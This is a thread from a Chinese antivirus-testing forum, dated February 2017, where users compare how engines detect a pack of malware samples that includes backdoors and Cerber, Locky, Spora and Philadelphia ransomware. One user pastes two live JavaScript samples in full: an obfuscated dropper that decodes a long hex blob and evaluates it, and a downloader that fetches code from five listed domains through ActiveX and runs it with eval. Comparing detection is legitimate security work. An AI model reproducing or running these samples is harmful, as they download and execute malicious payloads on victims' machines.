【缉毒卫队测试包】第13期 20170216

Eset小粉絲

Avira 8x

心醉咖啡

毒霸

[mw_shl_code=css,true]扫描时间：[2017-02-16 10:29:45]
扫描用时：[00:00:06]
扫描类型：自定义查杀
扫描文件总数：25
扫描速度：3文件/秒
发现威胁：7个
清除威胁：7个
=============================================
[2017-02-16 10:30:04]
威胁：f:\浏览器下载\2017.2.16\2017.2.16-01.backdoor.spam.exe%
类型：win32.heur.kvmh017.a.(kcloud)
处理方式：删除

[2017-02-16 10:30:04]
威胁：f:\浏览器下载\2017.2.16\2017.2.16-02.backdoor.bladabindi.exe%
类型：win32.troj.inject.(kcloud)
处理方式：删除

[2017-02-16 10:30:04]
威胁：f:\浏览器下载\2017.2.16\2017.2.16-05.pup.adware.exe%
类型：win32.troj.undef.(kcloud)
处理方式：删除

[2017-02-16 10:30:04]
威胁：f:\浏览器下载\2017.2.16\2017.2.16-04.ransom&script.cerber.js%
类型：win32.scriptc.undef.a.(kcloud)
处理方式：删除

[2017-02-16 10:30:04]
威胁：f:\浏览器下载\2017.2.16\2017.2.16-06.ransom.spora.exe%
类型：win32.troj.agent.uu.(kcloud)
处理方式：删除

[2017-02-16 10:30:04]
威胁：f:\浏览器下载\2017.2.16\2017.2.16-09.ransom.locky.exe%
类型：win32.hack.androm.mn.(kcloud)
处理方式：删除

[2017-02-16 10:30:04]
威胁：f:\浏览器下载\2017.2.16\2017.2.16-10.ransom.philadelphia.exe%
类型：win32.troj.undef.(kcloud)
处理方式：删除
[/mw_shl_code]

erui

skycai 发表于 2017-2-16 08:56

感觉瑞星安全云终端没有金山毒霸11好，最近发现金山毒霸11表现的还可以。

erui

心醉咖啡 发表于 2017-2-16 10:30
毒霸

[mw_shl_code=css,true]扫描时间：[2017-02-16 10:29:45]

金山毒霸11最近表现的不错，不知道是不是杀毒引擎有所改进？

a1414007

FSP 扫描kill5x
双击 miss
这是两个js样本
[mw_shl_code=javascript,true]function cxroxpsjnj(zxngfquyna)
{
        return parseInt(zxngfquyna.substr(3,2),16);
}
function fphjlzyenn(fzzkefwgrm)
{
        var zafxeqvgrj;
        while(true){
                try
                {
                        zafxeqvgrj=(new Function("qvufwzjluc","var azccilwxdh=qvufwzjluc.match(/\\S{5}/g),ecvzhwtfnt=\"\",smwlfesrxl=0;while(smwlfesrxl<azccilwxdh.length){ecvzhwtfnt+=String.fromCharCode(cxroxpsjnj(azccilwxdh[smwlfesrxl])^23);smwlfesrxl++;}e"+boftdekfyl()+boftdekfyl()+boftdekfyl()+"(ecvzhwtfnt);")(fzzkefwgrm));
                        break;
                }
                catch(er)
                {
                }
        }
        return zafxeqvgrj;
}
function mysxqzfwgm()
{
        var zpsnxrkgmr="f4671d0962b0d79db374eee63bd47edc278f8b79a2a37a3770bf072d0463add53e9976a6963a0676b4251cf965aea78fed7aa5c42fd665ee47bfec3fb2262f3b65a7f7bbcd3bfdd37c0d74ba276a6f7bc5f7bfed75c4f76d1274b297ca553ea136ce8b63"+
        "db765fcb6ed416cdf161c6476bd565c2637e5a6fb5a7ac337bacd5fc9a63b3f63bbc67b2237c7e2afc237aa679fda72c4c60d5037cb256af574e2e63f517eec761f8372e9d4fb4b58e0f75f247db8f72b9d74d8f63d343fd1e35ed85aabe44e144fdfc5a"+
        "d0f5bfc725f3f39db64fc495afc95bdb65fad243ac243b7147a1035ec63ec892cb146fd887aa257bdc15fedd63aea63a4167a5239f4d78a0667dc672f7c79b8f3fd2a35d1950c2852a5b43a8e35a343ba5c37cf062fbe65c187bc093ba3037d9b71a0e76"+
        "fb77bfd064efd72f4b3ebe82cb786ffd17abf47bf8c5fc0663c6163e2f67cec39ba164ae172d3779ed573a133fbda3ee542cbc97ec0071b1037a653fa756faf77adf57bff65fe2363d1863f6467cad39eef64d1563e3a76a5063dd862eb664ba837c582a"+
        "f2c2aa8837e7725f1727af027f1f3eb0c37f786ca0365de872ac963ec162ca865f7879b7637f2774d7e76c377be617bafe75c1b76af974a437cce03fe3e6fbf27ad097bdeb5fad163ade63e5e67f6d39b6245cc272ab464ae367aab78d5b79b5964c5772"+
        "b5b55b1178a5673bb36ecbd3bdbd37fd871d8b76bce7bf2564b7072ea03eedf2cb206ac7572c117bbcd64d5572c916cc5265f8972b7363e6162fa265c3979d8937da674c5a76fb37bf277bebf75c1576dfa74da57cde73fa0f79f5962abd7bf897bf3a3b"+
        "b1737a6763cf565a7f62c1f72f393eddc2cbf86aa0e6ad7274ba376dc863e4774b5c7faad37a713fd2d72b5c65f6665feb78e3665ac33edc76ce1b65f4672d4c63dcf62c2365bf979da837b9a74d0776f247bae47bea775b4a76ab874e307ca583fdd379"+
        "a1b62fa57bb777bc073bd8237aa563fb165ba362fc872b853ec052cb6e6ac976aeee71ba762cb279d8d74db863f957ebcb78c5579f8a37ff370ad372a2c63d8953d3176ccb63e0476ad13fe6574a3b76ffa7be187ba3075ea276c5474cb17ca003ecc76c"+
        "cab63fcf65c0c6ea9d6cda170a0a72bee63c7b53c9576af263c5b76be951a7265e8a78f167af3f42c7f65cf57ba7c3fc8b35cee7fb4e63f6663e4c67dec2dfbe38f3738d057aeba7cf227cc0272cc579c8079f6d72ddd73ba06eb7b39f1674ef178d027a"+
        "feb38e6862abe67f7538de324c5d39e0472f546fa5272afb35aba3be0137bbb71b7362de279f6674d6f63f147ee1878a2779f423fc2b65c7772bbc64c5c62c137bf0863f683be5837b7072f4c65eaf65d3578e6165fa63ed2637ddf6ca947ed7971abe37"+
        "d833fc5d36cd172dc665f8165ee278cae65bc93ed6f6ca8a65a2372b0763af562a0165c4979c4837d0374ddf76a657be7b7bd8d75fa876bb674cce7cd443faa765c4172dcd64dc362fc07bd7163c3a3be7737bd471b6776c627bfd564e8172f1d3eeda2c"+
        "c826acf572bca7bd1864f5d72ba46cc8270d6072f1063df853b6f76bdd63d1076b0a51f7f65da978f117aea642c6665af57bd303fc8835be87fe4263df963c7467a442da2d38c9438f037aa357cfab7caeb72dff79f8d79be572d1873f296ed0139f7a74"+
        "e8c78b377aa6638fe462fbb67d1a38f9b24b5c39fd772fac6fc0472bf735dfb3beab37b6871ed962d0179bd674aa363c8d7ebf878c3679ec43fdbf65ce472fd264c7b62ca97bfb463e4a3bf7037bdc72dc965f7565db478e0265ef83ed5337b1f6ccf27e"+
        "a0971fc737c533fe1936bb572d0d65d9c65a3278b6265bbe3ebc96cf8665bf072cfa63e3662baf65a5879f6037e0e74eca76e187bcde7bf2d75c8b76a6f74c907cc0d3fe7465c5c72c5064a4062da87bc8963cfe3ba1637a8f71df876cbf7bf3364c0872"+
        "aaa3ef352caac6af1b72f2b7ba3364eb172c4c6cbfe70c6972e7363d2653e4176ff163c0376aa551b0165be578a537aab842daf65f4e7ba243fac335a3c7fb4763d8163fbe67ed52dad138d7a38c3f7ac417cf6c7cf9f72dd279a8079a3672a3373b416e"+
        "bd739e6074ecd78e837ad5a38df962df167be338de524f4939f9672a8a6ff6872d3f35fc43bc6337ee171e4e62abe79c7374e2b63b437eee878c9a79b473fdab65d0b72f9f64faa62d127bfe463c483bd3737a9f72fc365b5d65ee778faf65d503ebf037"+
        "cb06cd4d7eade71de937cc53fde036cf072e0465f3965c8778ed365d763ec946cc1365e9e72a3f63f0c62c7765d4979a9e37d8c74d1476e7c7bbbc7bc0575bc776b9174af77cc7a3fe8365eea72fab64ea262fdd7bd4763e933bbbb37bc071f3176c297b"+
        "d1964bc372ecc3ea9a2ce2d6abf672c417bb8c64f4e72f026cb2265e6f72a4a63f5362c2465b7379dd637d1d74cd276caa7bcec7bdc275cc676a0074b1a7cd523fffe79a9162eed7ba687bdc83bc6537cd163fea65c5b62ad172a9e3ea082ca976ae9c6a"+
        "c403ee0e2ca2c6abfc6ae413ed5d2cf766ad9e6aa093ec012cb156aefd74f1f76d4d63c3174cc67fb7c37d153fd2f72a0865ad965cb778b9865b3a3ea8d6caf065c2e72bb163d5262c6b65e9979cf537e4c74b7f76e777bf857bcf775c2276c0774c1b7c"+
        "b153ff8479a6762f0c7bf037ba703bcc937f3063e9465b1562a3572bfb3ede12ceba6af856ae0a71c1862ef079dc274f2263a357eb8478ae379aff37f0770a7e72fd163bdf43f7b72e3d7aa4e67c9851da87efc67bd9f72aa647a7476aa163e887ff703f"+
        "d8d3edd76ce7163c3c65fd66effe6caf761be176be865faf37c3771ba464d0a37d1d2acda37f9079f0872af860b4737de156d6374e9d63b377efd861d5572c1d4fed858ce675e397dbc972b7d74c6663b893ff6635aea44c6b74b4965f087ea8a67fb763"+
        "bed7ea7379caa70e5e39b8f51ef47ed487ba1272d3944bd46ef2364d2963d9472b897abde58bcf75c727de9272e3574d8263f3335ea53ec5d2cf0661bd376a1f65a7537a6d63b517acc867d9a51f857eae07be0372bce59cee76be77ad2b72c6137cdd2a"+
        "e8737d4d35e5c4bc474bd8335dc337d223cea437f295af9776d9d63e227ffe739d6065ee176b9d79b1f73c1078dba7aa833fd2a3ec1c39cdb63f8278c8144ca963ce065b707eee679c2c70daf3fbef24a8c21f553eebb39e3764c9662acb75d0b64e2d63"+
        "fb865d183fd3f25bf33bdcd37bb12ef393ea3637fbf3cda137c7b35fec39b9f72bdd6fc7a72bb635b892cf9a61a6776af165a4737f2763d6f7ac0b67cf351a3d7ec767be3d72d5347e6276e6563c377ffbc37d362ac9437d9771cfc64fde39d6450f5972"+
        "f4f63a0144c6b67bef72d6874ffe7eb5f76e1b7be9251b5678f207bd3373fa972cf865c8d3ff5c25f823ef7237c603cc9f37e4e63cf27ad0c67a1a51d637ed377bbfd72c0559cea76a837ae6772ec52ce7d65f9d72c3463da662ef465f5c79aac37fa463"+
        "e007ab8667d7b51c357eb087bc3272f2147af576e1e63dba7fe042ccfa6af7274dd576f2d63b9e74c627fc7137f513fdfc72bc665d4465b1a78c0865d703eca36cce965d6f72d1463db262b1f65f0379ed337d3c71ac376f4c7beac64c3372bb42cc5f6a"+
        "d0e6ad5971d4662ed979de574fa863d827ebd478c2f79d0437d4c64db176a6561c4272ec243b9b78d2443f6272ec47ae8c67aee3fe9b73e9176be563bd176c103baaa37c7174c7d76d557bc657bc4c75a2576a5574c027cce33ea2d6cf7563fda65d7f6e"+
        "fd56ca4861f5076a7f65cd837c5867d5976cee63fac7fc3437be12ade537ac970dde72d4d63ab243c6672ac67aa9e67ff351a327eab27bcbd72e6b47ede76fda63e6e7fb7c3fd763ed442cf577ef7271ecc37fc33fcbe67c8d76a5463a907ff1e3ea936c"+
        "b4861f1f76ffb65da837f3378f9a75d0f7df0844c6863b8165dc572e9576e647adef37eb12aa8937f1279fca72a3160d8937de656eed74bd463c637eb6d61b9572f564fe1358d4575ddc7db8b72d7b74c0963d1f3ff6535d0c56e7253b6258ce553d0255"+
        "cc039b6e44eb063c5a65b1e72da976b0e7acc635d353efdf2ce5b78d7175d5b7dab144f1263f9b65bd572b5276dc57ae0239f8658dec67d8272b0c79b6c3fc163ea542cc9978c2575f1d7dfd544b6563efc65a3772e8b76ddc7aaf139b5043fca6ea9a67"+
        "e6972b9d37c8c2ab8f37d6726ce42cae378b4775fe47dc1b44ad263d1065c9272bc976a7f7adcf39ffd40e2265bc27ec4263b6e72bf13fe7973e0576dbb63c5876be63ebd82cb2578c0875ddc7dd3b44d2263a2b65ca872a2b76d7b7ae0039cfb47d6678"+
        "ad364e767ede863f197ed8478e0579f4b37c352aa9437f4927a672cb5c78deb75abc7dd4544e4f63ae265e7472a8c76c417ae5739b9a44a3a76e4761df072ecd43ffc78eb451ada7ee4d7be2272b7a3fe8c67d6176eee63dfb7fcb03bb0637cb425a073e"+
        "e992cade78fd875d7c7dd7c44d1a63b9765ece72b4a76c757ae6d39c8a54c587bfdf78d7664ce772a4f3fc2a3ec6f2cac565baa72a1363e7762c4465bca79d3a37a3d74e9e76df57bcf27bf5b75c7c76d5474a077cbd43fe8667d8976c7163cee7fd8d3b"+
        "f5237cb971b6c76c677bf0564a9b72c143ee802cad06ae8272e467bea264cd772b5c37f276ce3f65d0e72e9863c0562a9c65a6e79d6a37dd974a2c76fcf7bbb27ba7a75a5476dcc74ed67cd1b3fd9179b3d62f3e7bd1c7bc493bd7e37b9463c2e65bed62"+
        "d9d72b373eb792cb2b6aaab6ae2f74da576cdd63f5f74d9d7fc2737c693ffae72bd165e1b65ded78d8865ef63ef0a6cd5365cc472e2063cd462c1265ce279a0137e3974c1876fb17bc667bdc275f0476c1174d717cfc13ffea79ffd62b7d7bf407bfaf3b"+
        "a5a37b1563c7665c1b62cb972d883ea472ce9c6ae516ac2b70c4e72a7163bc853d4876ca363e3076b6d3ff6771d3b62d0c79bee74be763b547edf778a5279b2537e703ff3f73ba276e4b63f8a76faa3bade37b8d72f0265ff465ada78f0d65dc83efaa37"+
        "c626ca1c7ef2071f7237d3b3ffea36e2872dd265c8d65e4978dbf65fdf3eca16ca7864be076eb061dab72a5943abe78aa443d5f72ceb7ac8767c0c3fedc73cc876a7363f9876ba43bbad37c4371ca262ae079c7474b4163abd7ecd478d0b79af737b323f"+
        "ba567b1f76c2f63a057fbd93bbd437a6272b1a65a3065c8c78da765fe73ef7937d726ceae7ecfd71de437f443fc5636ecd72f5865a1765cbc78a6365a3d3ea9b6ce3a63acf65c336ef2f6cdc461ad576c6165b6637c8860b0164e937fdbe37c222adf437"+
        "d8e79f9d72ef360a2937b8156fa074e9363e1d7ee7f61aec72b954fb4c58a4b75b4d7df0572f7f74c4763d483fc3d35b4d40a9744cba74acd65e127edda67ea163e1539b9944fdb7fd3e72d487be947bda135c923ec3f2ca2960be064d527fa2e39fb245"+
        "f4662b2d79ca93fc1167d8476c0663ad67fd6a3ef7b2cf376affa74a3c76e0763c2774daf7ff3937a363fcca72a9165f4465ae278f2465d2d3ee0f37c296cbda6affd6aa5a6af533ef162ca366aae86ac993eb822c";
        return zpsnxrkgmr;
}
function boftdekfyl()
{
        var tpnktwlqhv=new Array("x","l","r","a","v","z","v","n");
        return tpnktwlqhv[Math["flo"+"or"](Math.random()*tpnktwlqhv.length)];
}
fphjlzyenn(mysxqzfwgm());[/mw_shl_code]
[mw_shl_code=javascript,true]var z9 = "http://"; var x = new Array("mapoftexas.net", "modlowe.com", "bathsaltsboutique.com", "haroldsowls.com", "netmix360.com"); var z1 = "Msxml2.XMLHTTP"; var z8 = "ET"; for (var i=0; i<x.length; i++) { var e = new ActiveXObject(z1); x = z9+x+"/counter/?"; var z7 = "G" + z8; var z4 = "a"; try { var m = "zWkE9Zewgtxq-65mabGa-N7YZzNuRU8Zm-_3LPbX4VbZYXtiRiGIKugW5QGAlAJQFJtJnuwRdEwP3CbTbndy0"; e.open(z7, x+m, false); e.send(); var z3 = e.responseText; if (z3.length > 1000 && z3.indexOf(m) > -1) { var z3 = z3.split(m).join(z4); eval(z3); break; }; } catch(e) { }; };[/mw_shl_code]

dongwenqi

lgx5201 发表于 2017-2-16 01:33
卡巴杀7个 剩下4、7、8号样本 剩下的已经通过技术支持上报。

感谢您的帮助，在您提交的样本中有新的发现 ...

感谢上报，感谢呢对卡巴的支持

心醉咖啡

erui 发表于 2017-2-16 11:04
金山毒霸11最近表现的不错，不知道是不是杀毒引擎有所改进？

杀毒引擎年前就改了，可不知为何就这一段样本区扫描变得挺好看了，详情耐人琢磨

qwe12301

qwe12301

心醉咖啡 发表于 2017-2-16 11:13
杀毒引擎年前就改了，可不知为何就这一段样本区扫描变得挺好看了，详情耐人琢磨

蹲点的人多了估计

zxcqwe

Dolby123 发表于 2017-2-16 02:13
avast all kill (5X 扫描 + 5X双击 ）

10号是触发DS杀了吗